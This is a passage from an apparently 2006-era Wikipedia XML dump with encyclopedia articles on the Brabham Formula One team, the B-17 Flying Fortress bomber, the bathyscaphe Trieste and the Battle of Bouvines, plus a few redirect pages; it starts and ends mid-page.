  Cons_champ    = 2 ([[1966]], [[1967]]) |
  Drivers_champ = 4 ([[1966]], [[1967]], [[1981]], [[1983]])|
  Wins          = 35 |
  Poles         = 39 |
  Fastest_laps   = 42 |
  Last_season   = 1992 |
  Last_position = - (0 points)
}}
The '''Brabham Racing Organisation''' was a [[Formula One]] racing team founded by [[Jack Brabham]] and [[Ron Tauranac]].  It was the only [[Australia]]n team ever to carry a World Champion to victory, and the last team run by the driver to win a Formula One world championship.

Founded in [[1961]], the team saw Jack Brabham act as primary driver and Tauranac designing and engineering the cars. Jack Brabham, World Champion of [[1959]] and [[1960]], won his third title with his own team in [[1966]]. This was the first time a driver won a championship in his own car.

Team Brabham's second title was acquired by [[Denny Hulme]] in [[1967]]. Brabham sold his shares to Ron Tauranac in [[1970]]/[[1971]] and the latter later sold the team to [[Bernie Ecclestone]] in [[1972]]. Eccelestone put a young South African Engineer as chief designer, namely [[Gordon Murray]]. Murray designed the cars that would take the world championship in [[1981]] and [[1983]], as well as the sensational but soon-to-be-banned [[1978]] [[Brabham_'Fancar'|Fancar]].

[[Nelson Piquet]] won two of his three World Championships, in [[1981]] and [[1983]], for Brabham.

[[1996]] World Champion [[Damon Hill]] began his Formula One career with Brabham in [[1992]], shortly before the team folded.

Jack's youngest son [[David Brabham]] raced for the team for a short time.

{{start box}}
{{succession box|title=[[List of Formula One World Constructors' Champions|Formula One Constructors' Champion]] |before=[[Team Lotus|Lotus]]|after=[[Team Lotus|Lotus]]|years=[[1966 Formula One season|1966]]-[[1967 Formula One season|1967]]}}
{{end box}}

[[Category:Formula One constructors]]
[[Category:Motor racing in Australia]]

[[de:Brabham]]
[[es:Brabham Racing Organisation]]
[[it:Brabham Racing Organisation]]
[[nl:Brabham]]
[[ja:ブラバム]]
[[sv:Brabham]]</text>
    </revision>
  </page>
  <page>
    <title>B-17 Flying Fortress</title>
    <id>4997</id>
    <revision>
      <id>42016928</id>
      <timestamp>2006-03-03T06:11:13Z</timestamp>
      <contributor>
        <username>Emt147</username>
        <id>545524</id>
      </contributor>
      <comment>Migration to specs and related contents templates per [[Wikipedia:WikiProject Aircraft/page content]] using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">&lt;!-- This article is a part of [[Wikipedia:WikiProject Aircraft]]. Please see [[Wikipedia:WikiProject Aircraft/page content]] for recommended layout. --&gt;
[[Image:B-17_on_bomb_run.jpg|thumb|300px|A B-17 on a bombing run.&lt;br&gt;&lt;small&gt;''From the [[Maxwell Air Force Base]] website ([http://www.maxwell.af.mil/au/afhra/wwwroot/photo_galleries/aaf_wwii_vol_vi/Captions/012_B-17.htm original image]).''&lt;/small&gt;]]
The '''Boeing B-17 Flying Fortress''' was the first mass-produced, four-engine heavy [[bomber]]. It was most widely used for daylight [[strategic bombing]]s of German industrial targets during [[World War II]] as part of the United States [[Eighth Air Force]]. 

== Development ==
The prototype B-17 first flew on [[July 28]] [[1935 in aviation|1935]]  as the [[Boeing]] Model 299, with Boeing chief test pilot Les Tower at the controls.  During a demonstration later that year at [[Wright Field]] in [[Dayton, Ohio]], Model 299 competed with the [[B-18 Bolo|Douglas DB-1]] and [[Glenn L. Martin Company|Martin]] Model 146.  While the Boeing design was obviously superior, Army officials were daunted by the much greater expense per aircraft. The Army ordered the Douglas B-18 Bolo as it was less expensive than the Boeing Model 299. Development continued on the Boeing Model 299. October 30th of 1935 the Army Air Corps test pilot Ployer Hill took the Model 299 on a second evaluation flight.  The flyers forgot to disengage the plane's &quot;gust lock&quot;--a device that holds the bomber's movable control surfaces in place while the plane was parked on the ground--and the aircraft took off, entered a steep climb, stalled, nosed over, and crashed. [http://www.wpafb.af.mil/museum/research/bombers/b2-13a.htm]. 
In January of [[1936 in aviation|1936]], the Air Corps ordered thirteen YB-17s with a number of significant changes from the Model 299, most notably that of the engines to more powerful Wright R-1820-39 Cyclones, next to 99 B-18s (successor of the DB-1).

The first B-17 went into service in [[1938 in aviation|1938]].  By [[December 7]] [[1941 in aviation|1941]], few B-17s were in use by the Army.  Following the [[attack on Pearl Harbor]], production was quickly accelerated. The aircraft served in every [[World War II]] combat zone. Production ended in May [[1945 in aviation|1945]] after 12,700 aircraft had been built.

[[Image:B-17_Flying_Fortresses.jpg|thumb|right|200px|B-17 Flying Fortresses over Eastern Europe during World War II]]

== Operational history ==
The name &quot;Flying Fortress&quot; was coined by Richard Williams, a reporter for the ''Seattle Times'' who gave this name to the Model 299 when it was rolled out showing off its [[machine gun]] installations. Boeing was quick to see the value of the title and had it trademarked for use. Among the combat aircrews that flew bombers in World War II, noted aviation writer [[Martin Caidin]] reported that the B-17 was referred to as the &quot;Queen of the Bombers.&quot;

The first use of the B-17 (the  B-17C) as the '''Fortress I''' in service with the RAF was against [[Wilhelmshaven]] on [[8 July]] 1941. By September the RAF had lost 8 to combat or accidents. They had also uncovered problems with flying it at high altitudes (about 30,000 ft).

Before the advent of long-range [[fighter]] escorts, B-17's had only their [[machine guns]] to rely on for defense for the bombing runs over Europe.  To address this problem, the United States developed a rigid [[box formation]] where all the B-17's could safely cover any others in their formation with their machine guns, making a formation of the bombers a dangerous target to engage by enemy fighters.  However, the use of this formation meant that individual planes could not engage in [[evasive maneuvers]]: they had to always fly in a straight line which made them vulnerable to the German [[antiaircraft]] [[88mm gun]].

The plane's extreme durability, and powerful defensive arcs led the Luftwaffe to develop a number of innovative (and costly) methods of combating the bomber.  Late in the war, the Me-262 was to see the most (proportional) success against B-17's.  However this success did not come from gun to gun combat.  While the Me-262 could fly extremely fast, it had to slow down to accurately aim its guns.  This endangered the fighter from the B-17's many guns.  Instead Me-262's would engage at long distances firing masses of rockets at the B-17 formations. While this tactic was successful, there were too many B-17's and too few [[Me-262]]'s to make a real difference.  The actual number of B-17's lost to Me-262's using this tactic was low.

The B-17 was noted for its ability to take battle damage, still reach its target and bring its crew home. It reportedly was much easier to fly than its contemporaries, and its toughness more than compensated for its shorter range and lighter bomb load when compared to the Consolidated [[B-24 Liberator]] or the British [[Avro Lancaster]] heavy bombers. Stories from veterans abound of B-17's returning to base with the tail having been destroyed, with only a single engine functioning or even with large portions of the wings having been clipped by flak.

The design went through eight major changes over the course of its production, culminating in what some consider the definitive type, the B-17G, differing from its immediate predecessor by the addition of a chin [[turret]] with two 0.50 calibre (12.7 mm) [[machine gun]]s under the nose. This eliminated the aeroplane's main defensive weakness of head on attacks.

== Variants/Design stages ==
{{main|B-17 Flying Fortress variants}}

The B-17 went through several iterations in each of its design stages and variants.  Of the thirteen YB-17s ordered for service testing, only one was actually used.  Experiments on this plane led to the use of a turbo-supercharger, which would become standard on the B-17 line.  When this aircraft was finished with testing, it was redesignated the B-17A, and was the first plane to enter service under the B-17 designation.

As the production line developed, Boeing engineers continued to improve upon it.  To improve performance, the original design was altered to include larger flaps. Most significantly, with the 'E' version the fuselage was extended by 10 feet, a much larger vertical fin and rudder were incorporated into the original design, a gunner's position in the tail and an improved nose were added.  The engines were upgraded to more powerful versions several times.  Similarly, the gun stations were altered on numerous occasions to enhance their effectiveness.

By the time the B-17G appeared, the number of guns had been increased from seven to thirteen, the designs of the gun stations were finalised, and other adjustments were complete.  In this the G model incorporated all changes made in its predecessor, the B-17F.  The B-17G is generally considered the defining version of the B-17.  Some 8680 were built, Many were converted for other missions, such as cargo hauling, engine testing and [[reconnaissance aircraft|reconnaissance]].

[[Image:B-17dorsalview.jpg|200px|thumb|right|Top view of a B-17H in flight.&lt;br&gt;''&lt;small&gt;From the Maxwell Air Force Base website ([http://www.maxwell.af.mil/au/afhra/wwwroot/photo_galleries/aaf_wwii_vol_vi/Captions/196_17H.htm original image]).''&lt;/small&gt;]]

Two versions of the B-17 were flown under different designations.  These were the [[XB-38 Flying Fortress|XB-38]] and the [[YB-40 Flying Fortress|YB-40]].  The former was an engine test bed for [[Allison V-1710]] liquid-cooled engines, to test the engine should the Wright engines normally used on the B-17 become unavailable.  The YB-40 was a modification of the standard B-17 used before the [[P-51 Mustang]] became available.  Since no fighters had the range to escort the B-17, a heavily armed modification was used instead with an additional power turret in the radio room, a chin turret (which went on to become standard with the B-17G) and twin .50 caliber (12.7 mm) guns in the waist positions.  The ammunition load was over 11,000 rounds making the YB-40 well over 10,000 pounds (4,500 kg) heavier than a fully loaded B-17F.  Unfortunately, the YB-40s with their numerous heavy modifications had trouble keeping the pace with empty bombers. The project was abandoned with the advent of the P-51 Mustang and was phased out in July of 1943.

Late in World War II, at least 25 B-17s were fitted with radio controls, loaded with 12,000 lb (5443 kg) of high explosives, dubbed 'BQ-7 [[Operation Aphrodite|Aphrodite]] missiles,' and used against [[U-boat]] pens and bomb-resistant [[fortification]]s.  Because few (if any) BQ-7s hit their target, the Aphrodite project was scrapped in early [[1945 in aviation|1945]].  [http://home.att.net/~jbaugher2/b17_14.html History of the BQ-7]  During and after World War II, a number of weapons were tested and used operationally on B-17's.  Some of these weapons included razons (radio guided), glide bombs, and JB-2 Thunderbugs - the equivalent of the German [[V-1]] Buzz Bomb.

[[Image:B-17formation.jpg|thumb|250px|right|American B-17s flew in elaborate formations to concentrate defensive machine gun fire.]]

== Units Using the B-17 ==
{{main|List of units using the B-17 Flying Fortress}}

The B-17 was a versatile aircraft, and it served in dozens of units in theatres of combat throughout World War II.  Its main use was in [[European Theatre of World War II|Europe]], where its shorter range and smaller bombload relative to other aircraft available did not hamper it as much as in the [[Pacific Theater of Operations|Pacific Theatre]].  Only five B-17 groups operated in the Pacific, all converting to other types by 1943. Thirty-two groups were stationed in Europe, twenty-six in England and six in Italy.

It was also used by the [[Royal Air Force]], though mainly in roles other than those for which it had been designed.  The first B-17s, -C and -D models &amp;mdash; known to the RAF as &quot;Fortress I&quot;s &amp;mdash; used by the Royal Air Force had been unsuccessful, and despite its overwhelming success in American hands, the British were reluctant to use the B-17 for its original mission profile of heavy bombing.  They regarded the B-17 as uneconomical, due to its larger crew and relatively small bomb load.  Instead, they used them for patrol bombing, and later equipped a number of them with sophisticated radio-countermeasures equipment, where they served in some of the first [[electronic countermeasures]] operations with [[No. 100 Group RAF|RAF 100 Group]].

During World War II, some forty B-17s were repaired by the [[Luftwaffe]] after crash-landing or being forced down and put back into the air in the service of the Reich.  These were codenamed &quot;Dornier Do 200,&quot; given German markings, and used for clandestine spy and reconnaissance missions by the Luftwaffe. Other B-17s retained their Allied markings{{fact}} and were used to infiltrate B-17 formations, then report their position and altitude to German ground-control stations. The practice was intially successful, but it did not take the Army Air Force combat aircrews long to figure out what was happening.  Standard procedure shortly became to first warn off, and then fire upon, any 'stranger' trying to join a group's formation.

When [[Israel]] achieved statehood in [[1948]], the [[Israeli Air Force]] had to be assembled quickly to defend the new nation from the war it found itself embroiled in almost immediately.  Among the first aircraft acquired by the Israeli Air Force were three surplus American B-17s, smuggled via South America and Czechoslovakia to avoid an arms trading ban imposed by the United States. A fourth plane was captured and confiscated by American officials. In their delivery flight from Europe, the aircraft were ordered to bomb the Royal Palace of [[King Farouk]] in [[Cairo]] before continuing to Israel, in retaliation for Egyptian bombing raids on [[Tel-Aviv]].  They performed the mission (despite some of the crew fainting due to defective oxygen equipment) but caused little damage to the target.  The B-17s were generally unsuitable for the needs of the Israeli Air Force and the nature of the conflict, in which long-range bombing raids on large-area targets were relatively unimportant.  They were mainly used in the [[1948 Arab-Israeli War]], flown by [[69 Squadron Israeli Air Force]].  They were withdrawn in [[1958 in aviation|1958]].

== Obsolescence ==
Following World War II, the B-17 was obsolete, and the Army Air Force retired the fleet. Flight crews ferried the bombers back across the Atlantic to the United States, where they were melted down and sold for scrap. 

A number of B-17s survive in museums and at airports. A handful of these still fly, visiting airports or performing in airshows. Since the bombers that served in World War II were sold for scrap, most of these survivors are surplus or training aircraft, which stayed in the U.S. during the War. However, there are few exceptions. 

The [[Memphis Belle]], which flew 25 missions over Europe before touring the United States to advertise [[war bonds]], is preserved in [[Memphis, TN]].The Memphis Belle has been transported to Wright Patterson Air Force base for restoration and display. The Dayton Daily News has more information on this move and how you can view the plane during its restoration. 

The Swoose, the only surviving example of the narrow-tailed B-17s of the A, B, C and D series, fought in the Pacific Theatre before being converted to an unarmed transport/flying command post used by general officers of the Fifth Air Force in Australia, and was then ordered back to the United States in 1943.  The oldest surviving B-17 in the world, The Swooses is presently in storage at the Smithsonian Institution's Silver Hill aircraft storage and restoration facility in Maryland. As of 2000, the Smithsonian was planning to restore her, though whether to full airworthiness or to static display standard had not been determined.

Another noteworthy combat veteran is [[Shoo Shoo Shoo Baby]], which flew 24 combat missions out of England before being forced to land in Sweden in late 1944. Sweden, which was neurtral, interned the crew and later returned them, but kept the plane and converted it to be a transport.
In the period November to October 1947 it was flying for the Danish Air Lines as Stig Viking (OY-DFA. March 1948 to December 1949 Danish Army, December 1949 to October 1952 Danish Navy.
October 1952 Royal Danish Air Force all its service time in Denmark her name was Store Bjørn.

It was later sold to a French aerial mapping company. Abandoned in 1961, the remains of the plane were donated to the [[U.S Air Force]] in 1972, with a restoration undertaken between 1978-1988 by a crew at [[Dover Air Force Base]], [[Delaware]]. The end result was nothing short of magnificent and the plane can be seen today at the [[National Museum of the United States Air Force]] in [[Dayton]], [[Ohio]].

It has also been recently discovered that the B-17G at the [[March Field Air Museum]] in [[Riverside]], [[California]] was delivered to the [[15th Air Force]] and most likely flew combat missions over [[North Africa]] and in the [[Mediterranean]] (Something that was confirmed by battle damage found after the plane was paint stipped during restoration). The exact detail of that plane's service, though, are not yet known.

Two B-17s navigating and acting as mother ships for six [[P-38|P-38 Lightnings]] were forced to land on a glacier in Greenland during a ferry flight to the UK on July 15, 1942. Incredibly, none of the crews were lost. By the 1990s, these eight aircraft had been buried under more than 250 feet of ice. One of the P-38s was recovered and restored as &quot;Glacier Girl.&quot; One of the B-17s was also recovered (My Gal Sal, 41-9032), but it remains dismantled in storage in [[Cincinnati, OH]]. None of the 'Lost Squadron' ever saw combat, however.
[[Image:BoeingB17BigYank.gif|thumb|right|300px|''Big Yank'', served in [[1945 in aviation|1945]].]]

== Noted B-17 pilots ==
* [[Robert Morgan]]
* [[Gene Roddenberry]]
* [[James Stewart (actor)|James Stewart]]
* [[Robert Webb (pilot)|Robert Webb]]
* [[Francis Burke (pilot)]]

==Operators==
* Bolivia, Brazil, Canada, Denmark, Dominican Republic, Israel, Portugal, United Kingdom, United States (Army Air Corps, Army Air Force, Air Force, Coast Guard, Navy),

== Specifications (B-17G) ==
{{airtemp|
&lt;!-- if you do not understand how to use this template, please ask at [[Wikipedia talk:WikiProject Aircraft]] --&gt;
&lt;!-- please answer the following questions --&gt;
|plane or copter?=plane
|jet or prop?=prop
&lt;!-- Now, fill out the specs.  Please include units where appropriate (main comes first, alt in parentheses). 
If an item doesn't apply, like capacity, leave it blank. For additional lines, end your alt units with a right paranthesis &quot;)&quot; and start a new, fully-formatted line --&gt;
|crew=10
|length main=74 ft 9 in
|length alt=22.7 m
|span main=103 ft 10 in
|span alt=31.6 m
|height main=19 ft 1 in
|height alt=5.8 m
|area main=1,420 ft&amp;sup2;
|area alt=131.9 m&amp;sup2;
|airfoil=[[NACA airfoil|NACA 0018]] / NACA 0010
|empty weight main=36,135 lb
|empty weight alt=16,390 kg
|loaded weight main=54,000 lb
|loaded weight alt=24,495 kg
|max takeoff weight main=72,000 lb
|max takeoff weight alt=32,660 kg
|engine (prop)=[[Wright R-1820]]-97 Cyclone
|type of prop=turbosupercharged [[radial engine]]s
|number of props=4
|power main=1,200 hp
|power alt=895 kW
|max speed main=287 mph
|max speed alt=462 km/h
|cruise speed main=150 mph
|cruise speed alt=240 km/h
|range main=1,850 mi
|range alt=2,980 km
|ceiling main=35,600 ft
|ceiling alt=10,850 m
|climb rate main=900 ft/min
|climb rate alt=4.6 m/s
|loading main=38.0 lb/ft&amp;sup2;
|loading alt=185.7 kg/m&amp;sup2;
|power/mass main=0.089 hp/lb
|power/mass alt=0.15 kW/kg
|armament=
* 13&amp;times; [[M2 machine gun|Browning M-2]] 0.50 calibre (12.11 mm) machine guns (with optional extra nose armament fitted in glazed nose)
* 8,000 lb (3,630 kg) of bombs long range
* 17,600 lb (7,985 kg) of bombs short range
}}

== References ==
* {{cite book
 | last = Hess | first = William N.
 | title = Big Bombers of WWII
 | location = Ann Arbor, Michigan
 | publisher = Lowe &amp; B. Hould
 | year = 1998
 | id = ISBN 0681075708
 }}
* {{cite book
 | last = Jablonski | first = Edward
 | title = Flying Fortress
 | location = New York
 | publisher = Doubleday
 | year = 1965
 | id = ISBN 0385038550
 }}
* {{cite book
 | last = Johnson | first = Frederick A.
 | title = Boeing B-17 Flying Fortress (Warbird Tech Series, Volume 7)
 | location = Stillwater, Minnesota
 | publisher = Voyageur Press
 | year = 2001
 | id = ISBN 1580070523
 }}
* {{cite book
 | last = Lloyd | first =  Alwyn T.
 | title = B-17 Flying Fortress in detail and scale
 | location = Fallbrook, California
 | publisher = Aero Publishers
 | year = 1986
 | id = ISBN 0816850291
 }}
* {{cite book
 | last = O'Leary | first = Michael
 | title = Boeing B-17 Flying Fortress (Osprey Production Line to Frontline 2)
 | location = Botley, Oxford, United Kingdom
 | publisher = Osprey Publishing
 | year = 1999
 | id = ISBN 1855328143
 }}
* {{cite book
 | last = Thompson | first = Scott A.
 | year = 2000
 | title = Final Cut: The Post War B-17 Flying Fortress the Survivors: Revised and Updated Edition
 | publisher = Pictorial Histories Publishing Company
 | id = ISBN 1575100770
 }}
* {{cite web
 | title = BQ-7
 | work = Encyclopedia of American Aircraft
 | url = http://home.att.net/~jbaugher2/b17_14.html
 | accessdate = January 12
 | accessyear = 2005
 }}

[[Image:FlyingFortressDuxfordJM.jpg|thumb|right|250px|B-17 tail gun position, Duxford]]

==External links==
* [http://home.att.net/~jbaugher2/b17.html Encyclopedia of American Aircraft]
* [http://www.wpafb.af.mil/museum/research/bombers/b2-21.htm USAF Museum]
* [http://www.fantasyofflight.com/aircraftpages/b17.htm Fantasy of Flight's B17] B-17 Flying Fortress on display at [[Fantasy of Flight]]
* [http://www.imdb.com/title/tt0100133/ Memphis Belle (1990)] at the [[Internet Movie Database]]
* [http://www.imdb.com/title/tt0036152/ The Memphis Belle A Story of a Flying Fortress (1944)] at the [[Internet Movie Database]]
* [http://www.ww2incolor.com/gallery/movies/pilot Combat America:The B-17 Story] - Watch real combat footage in color from WWII
* [http://www.ratol.fi/~tmannine/b-17/ Tony's B-17 page] - B-17 stories, images, technical data, etc
* [http://www.daveswarbirds.com/b-17/ Battle-Damaged B-17s] - Photographic chronicle of the horrific damage suffered by Forts in combat

== Related content ==
{{Commons|B-17 Flying Fortress}}
{{aircontent|

|sequence=
* Military: [[Martin B-10#XB-14|XB-14]] - [[Boeing XB-15|XB-15]] - [[Martin XB-16|XB-16]] - [[B-17 Flying Fortress|B-17]] - [[B-18 Bolo|B-18]] - [[Douglas XB-19|XB-19]] - [[Boeing Y1B-20|Y1B-20]]
* Boeing: [[P-26 Peashooter|266]] - [[P-26 Peashooter|281]] - [[Boeing XB-15|294]] - '''299''' - [[Boeing 307|307]] - [[Boeing 314|314]] - [[Boeing Y1B-20|316]]

|related=
* [[Boeing XB-15]]
* [[XB-38 Flying Fortress]]
* [[YB-40 Flying Fortress]]

|similar aircraft=
* [[Avro Lancaster]]
* [[B-24 Liberator]]
* [[Handley-Page Halifax]]

|lists=
* [[List of bomber aircraft]]
* [[List of military aircraft of the United States]]

|see also=

}}

[[Category:U.S. bomber aircraft 1930-1939|B-17 Flying Fortress]]

[[da:B-17]]
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[[sv:Boeing B-17 Flying Fortress]]</text>
    </revision>
  </page>
  <page>
    <title>BQ-7 Aphrodite</title>
    <id>4998</id>
    <revision>
      <id>15903245</id>
      <timestamp>2005-05-31T04:47:48Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <comment>redirect to [[Operation Aphrodite]]</comment>
      <text xml:space="preserve">#REDIRECT [[Operation Aphrodite]]</text>
    </revision>
  </page>
  <page>
    <title>Bathyscaphe Trieste</title>
    <id>5001</id>
    <revision>
      <id>41748712</id>
      <timestamp>2006-03-01T13:37:15Z</timestamp>
      <contributor>
        <username>Mervyn</username>
        <id>32947</id>
      </contributor>
      <comment>clarify museum ship, tidying</comment>
      <text xml:space="preserve">[[Image:Bathyscaphe_Trieste.jpg|thumb|200px|The bathyscaphe ''Trieste'']]
[[Image:Bathyscaphe Trieste Closeup.jpg|thumb|200px|right|Close-up of pressure sphere]]
[[Image:trieste2.JPG|thumb|200px|right|''Trieste'' emblem]]

'''''Trieste''''' was a deep-diving research [[bathyscaphe]] (&quot;deep boat&quot;) with a crew of two. Designed by the [[Switzerland|Swiss]] scientist [[Auguste Piccard]], she was launched in August 1953 in the [[Mediterranean]] near [[Naples]], [[Italy]]. She was purchased by the [[United States Navy|U.S. Navy]] in 1958 for $250,000.00.

The ''Trieste'' basically consisted of a chamber filled with [[gasoline]] for [[buoyancy]] and a separate pressure sphere. This sphere (called [[bathysphere]] by [[Auguste Piccard|Piccard]]) provided just enough room for two persons and was built by the [[Krupp]] Steel Works of [[Essen, Germany|Essen]], [[Germany]]. To withstand the staggering pressure of 9 tons per square inch (124 M[[pascal|Pa]]) at the bottom of [[Challenger Deep]], the new sphere's walls were 5 inches (127 mm) thick. It weighed 13 tons in air, 8 in water.

Transported to the [[Naval Electronics Laboratory]]'s facility in [[San Diego, California|San Diego]], she was extensively modified and then used in a series of deep-submergence tests in the [[Pacific Ocean]] during the next few years, including a dive to the [[Mariana Trench]], the deepest known part of the ocean, in January 1960.

''Trieste'' departed San Diego on [[October 5]], [[1959]] on the way to [[Guam]] by the freighter ''Santa Maria'' to participate in ''[[Project Nekton]]'' - a series of very deep dives in the Mariana Trench. 

On [[January 23]], [[1960]], she reached the ocean floor in the Challenger Deep, carrying [[Jacques Piccard]] (son of Auguste) and Lieutenant [[Don Walsh]], USN. This was the first time a ship, manned or unmanned, had reached the deepest point in the sea. The onboard systems indicated a depth of 37,800 ft (11,521 m), but this was later revised to 35,813 ft (10,916 m). (However later and more accurate measurements made in 1995 have found the Challenger Deep to be shallower, at 35,798 ft (10,911 m)). The descent took almost five hours and the two men spent barely twenty minutes on the ocean floor before undertaking the 3 hour 15 minute ascent. They observed small [[sole (fish)|soles]] and [[flounder]]s and noted the floor consisted of [[diatom]]aceous ooze while on the bottom.

In April 1963, she was modified and used in the [[Atlantic Ocean]] to search for the missing submarine [[USS Thresher (SSN-593)|USS ''Thresher'']] (SSN-593). In August 1963, ''Trieste'' found the wreck off [[New England]], 8400 feet (2.56 km) below the surface. The bathyscaphe was then retired and some of her components were used in the ''[[Bathyscaphe Trieste II|Trieste II]]''.

In appearance at the time of ''Project Nekton'' she was over 50 feet (15 m) long, but the great extent of this was a series of floats filled with 22,500 US [[gallon]]s (85 m&lt;sup&gt;3&lt;/sup&gt;) of gasoline to provide buoyancy, and air tanks at either end of the ship. The crew were in a 6 ft (2 m) diameter steel sphere attached to the underside of the floats. An additional nine tons of pellet shot were taken on the craft to speed the descent. This additional weight was held in place by electromagnets, so that in case of an electric failure the craft would immediately start to rise to the surface.

The ''Trieste'' class bathyscaphes were replaced by the [[DSV Alvin|''Alvin'' class]] submersibles, best exemplified by [[DSV Alvin|DSV ''Alvin'']]. Though they could not dive as deep (a maximum of 20,000 feet for [[DSV Sea Cliff|DSV ''Sea Cliff'']]), they were more capable and more durable.

''Trieste'' is now a permanent exhibit at the [[Naval Historical Center]], [[Washington Navy Yard]] in [[Washington, DC]].

==External links==
* [http://www.history.navy.mil/danfs/t8/trieste.htm Trieste]
* [http://www.bathyscaphtrieste.com/ HISTORY OF THE BATHYSCAPH TRIESTE]
* [http://college.hmco.com/history/readerscomp/ships/html/sh_034900_fnrs2.htm FNRS-2]

==See also==
* [[Deep Submergence Vehicle]]
* [[Deep Submergence Rescue Vehicle]]
* [[Trieste class]]
* [[DSV Alvin|Alvin (DSV-2)]]

[[Category:Trieste class DSV|Trieste I]]
[[Category:United States Navy submarines|Trieste]]
[[Category:Submarines of Italy|Batiscafo Trieste]]
[[Category:Museum ships|Trieste]]

[[de:Trieste (U-Boot)]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Bouvines</title>
    <id>5003</id>
    <revision>
      <id>41626630</id>
      <timestamp>2006-02-28T16:51:13Z</timestamp>
      <contributor>
        <ip>64.107.3.100</ip>
      </contributor>
      <comment>/* Battle */</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Bouvines
|image=[[Image:Battle-bouvines.jpg|300px]]
|caption=King [[Philip II of France]] at Bouvines, by [[Horace Vernet]]
|partof= the Welf-Hohenstaufen feud
|date=[[July 27]], [[1214]]
|place=[[Bouvines]]
|result=Decisive French victory
|combatant1=[[Welf]]s and Flemish
|combatant2=French
|commander1=[[Otto IV, Holy Roman Emperor|Otto of Brunswick]] and [[Jeanne of Flanders|Ferrand of Flanders]]
|commander2=[[Philip II of France|Philip Augustus]] of France
|strength1=heavy cavalry: 6500; infantry: 40000
|strength2=cavalry: 7000; infantry: 30000
|casualties1=
|casualties2=
}}

The '''Battle of Bouvines,''' [[July 27]], [[1214]], was the first great international conflict of alliances among national forces in Europe. In the alliances, which were orchestrated by [[Pope Innocent III]], [[Philip II of France|Philip Augustus]] of France defeated [[Otto IV of Germany]] and count [[Jeanne of Flanders|Ferrand of Flanders]] so decisively that Otto was deposed and replaced by [[Frederick II, Holy Roman Emperor|Frederick II]] [[Hohenstaufen]]. Ferrand was captured and imprisoned. Philip was himself able to take undisputed control of the territories of [[Anjou]], [[Brittany]], [[Maine (province of France)|Maine]], [[Normandy]], and the [[Touraine]], which he had recently seized from Otto's kinsman and ally [[John of England]].

The city of [[Bouvines]] is between [[Lille]] and [[Tournai]], and in the 13th century was in the County of [[Flanders]] and is part of modern [[France]].

==Prelude==
The campaign plan seems to have been designed by John, who was the fulcrum of the alliances; his general idea was to draw the French king away from Paris southward against himself and keep him occupied, while the main army, under  emperor Otto IV, with the counts of the low countries, should march on Paris from the north. John's part in the general strategy was carried out at first, but the allies in the north moved slowly. John, after two encounters with his mortal enemy of France, turned back to his Guienne possessions on July 3, however, perhaps in one of his fits of despondency. When, three weeks later, the emperor finally concentrated his forces at [[Valenciennes]], John was out of the picture, and in the interval Philip Augustus had countermarched northward and regrouped. Philip now took the offensive himself, and in maneuvering to get a good cavalry ground upon which to fight he offered battle (July 27), on the plain east of Bouvines and the river Marque. The imperial army drew up facing south-westward towards Bouvines, the heavy cavalry on the wings, the infantry in one great mass in the center, supported by the cavalry corps under the emperor himself. The total force is estimated at 6500 heavy cavalry and 40,000 foot solidiers. The French army (about 7000 cavalry and 30,000 infantry) took ground exactly opposite in a similar formation, cavalry on the wings, infantry, including the townsmen (''milice des communes'') in the center, Philip with the cavalry reserve and the royal standard, the [[Oriflamme]], in rear of the men on foot.

==Battle==
The battle opened with a confused cavalry fight on the French right, in which individual feats of knightly gallantry were more noticeable (and better recorded in the chronicles) than any attempt at combined action. The serious fighting was between the two centers; the infantry of the Low Countries, who were at this time almost the best in existence, drove back the French. Philip led the cavalry reserve of nobles and knights to retrieve the day, and after a long and doubtful fight, in which he himself was unhorsed and narrowly escaped death, began to drive back the Flemings. In the meanwhile the French feudatories on the left wing had thoroughly defeated the imperial forces opposed to them, and [[William de Longespee, 3rd Earl of Salisbury|William Longsword, Earl of Salisbury]], the leader of this corps, was unhorsed and taken prisoner by the fighting [[bishop of Beauvais]]. On the other wing the French at last routed the Flemish cavalry and captured Ferdinand Count of Flanders, one of the leaders of the coalition. In the center the battle was now a melée between the two mounted reserves led by the king and the emperor in person. Here too the imperial forces suffered defeat, Otto himself being saved only by the devotion of a handful of Saxon knights. The Imperial Eagle Standard was captured by the French. The day was already decided in favor of the French when their wings began to close inwards to cut off the retreat of the imperial center. The battle closed with the celebrated stand of Reginald of Boulogne, a former vassal of King Philip, who formed a ring of seven hundred [[Brabant|Brabancon]] pikemen, and not only defied every attack of the French cavalry, but himself made repeated charges or sorties with his small force of knights. Eventually, and long after the imperial army had begun its retreat, the gallant schiltron was ridden down and annihilated by a charge of three thousand men-at-arms. Reginald was taken prisoner in the mele; and the prisoners also included two other counts, Ferdinand and William Longsword, twenty-five barons and over a hundred knights. The killed amounted to about 170 knights of the defeated party, and many thousands of foot on either side.

John returned to England to face the barons whose possessions in Normandy he had lost. After Bouvines there were no important wars in Western Europe until the 1290s.

==See also==
*[[British military history]]
*[[Military history of France|French military history]]

==References==
*[[Georges Duby]], ''The Legend of Bouvines'' (1990).  A careful study of the historiography of a single event, Duby examines how the Battle of Bouvines has been used and abused in French history.

==External links==
*[http://www.deremilitari.org/RESOURCES/SOURCES/bouvines.htm Historical accounts]
*[http://10.1911encyclopedia.org/B/BO/BOUVINES.htm ''Encyclopaedia Britannica'']: Bouvines
*[http://xenophongroup.com/montjoie/bouvines.htm Bouvines]: the battle in the context of the campaign in the war of  1202 - 1214 

[[Category:1214]]
[[Category:Battles of France|Bouvines 1214]]
[[Category:Battles of the Holy Roman Empire|Bouvines 1214]]
[[Category:Battles of Flanders|Bouvines 1214]]
[[Category:Nord]]

[[de:Schlacht bei Bouvines]]
[[eo:Batalo de Bouvines]]
[[fr:Bataille de Bouvines]]
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    </revision>
  </page>
  <page>
    <title>Battle of Adua</title>
    <id>5007</id>
    <revision>
      <id>15903251</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Battle of Adowa]]
</text>
    </revision>
  </page>
  <page>
    <title>Battle of Actium</title>
    <id>5008</id>
    <revision>
      <id>41872019</id>
      <timestamp>2006-03-02T07:09:44Z</timestamp>
      <contributor>
        <username>Sinerma</username>
        <id>486898</id>
      </contributor>
